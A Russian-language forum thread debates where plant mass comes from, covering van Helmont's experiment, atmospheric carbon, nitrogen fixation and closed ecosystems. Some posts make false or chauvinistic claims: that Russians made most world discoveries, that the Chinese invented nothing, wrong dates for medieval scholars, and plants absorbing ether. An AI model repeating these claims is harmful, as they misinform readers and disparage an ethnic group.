Примерно 70...80% капитальных открытий мирового значения сделаны русскими.
А зачем? На Руси без того все знали что растения поливать надо.
И вооще -то:
90% наук /математика, астрономия, медицина..../ родом из арабских и азиатских стран, где небыло христианства. Аль Джебри==алгебра, Ибн Сина ==медицина, Улугбек ==астрономия...Все они жили более полутора тыс лет назад. В европу эти знания проникли во время "возраждения после тёмного средневековья.
А Китайцы ничего не изобрели. По их же преданиям им всё подарили "белые боги пришедшие с севера"
Из русских учёных профессор медицины Войно-Яссенский, был ажно епископом.
Опыт Ван
БетхГельмонта не корректный. Надо было дистиллировкой поливать, а дождевая вода -это единственный ощутимый природный источник связанного азота. Да и фосфор там есть, т.к. белки разлагаются с выделением аммиака и фосфина...Έξηκοστοςτιων
Растение поглощает из воздуха
Растение поглощает из воздуха углерод, потом мы его видим как угли в костре.
Почвенные бактерии (клубеньковые и цианобактерии) связывают азот воздуха.
Водород и кислород в органических молекулах также имеют вес, хотя уже и не являются водой.
Речь не о культурном земледелии,
а про опыт с убитой землей. Безвозвратные потери атмосферой связанного грозами азота с дождями достигают 700 млн. т азотной кислоты ежегодно.
Έξηκοστοςτιων
X-romix Растение поглощает из воздуха углерод
Уже предлагал всем желающим задачку:
Просчитать мощность яблони аки насоса.
Скажем уродилось на ней 50 кг яблок с содержанием сахара 40...50%. Углеродомкоторыйпотраченнарост самого дерева пренебрегнем.
В молекуле сахара 12 атомов углероду.
В воздухе этого углероду ажно 0,039%, да и то в виде углекислого газа.
По моим прикидкам получается чуть больше средней электростанции.
Есть растения в запаянных
Есть растения в запаянных бутылках - если они увеличивают свой вес - то, стало быть, поглощают эфир.
стало быть, поглощают эфир
Для этого еще нужны демоны типа максвеловского.
X-romix Есть растения в запаянных бутылках
Не, они поглощают свет, который через бутылку проникает....
Замкнутая равновесная экологическая система называется.
Там кроме растения куча других организмов /для переработки павшей листвы, преобразования почвы.../
Пример подобной системы -- закрытый аквариум литров на 100 иль более, в котором тож равновесие всех систем.
/растений, рыб, микробов/
русофил Опыт Ван Бетх Гельмонта не корректный.
Были и такие опыты, причём в прокалённом грунте. Растение так же росло....
Есть ещё один опыт по алхимии:
Берём личинок ракообразных, поселяем в дистиллированую воду, кормим растительной пищей...
Вопрос откель взялся кальций для панциря?
Гостю вредному. Кальций
Гостю вредному. Кальций взялся из растительной пищи. И много чего еще оттуда. Растительную золу видели? Полна минеральными веществами. С уважением, Олег.
Отправить комментарий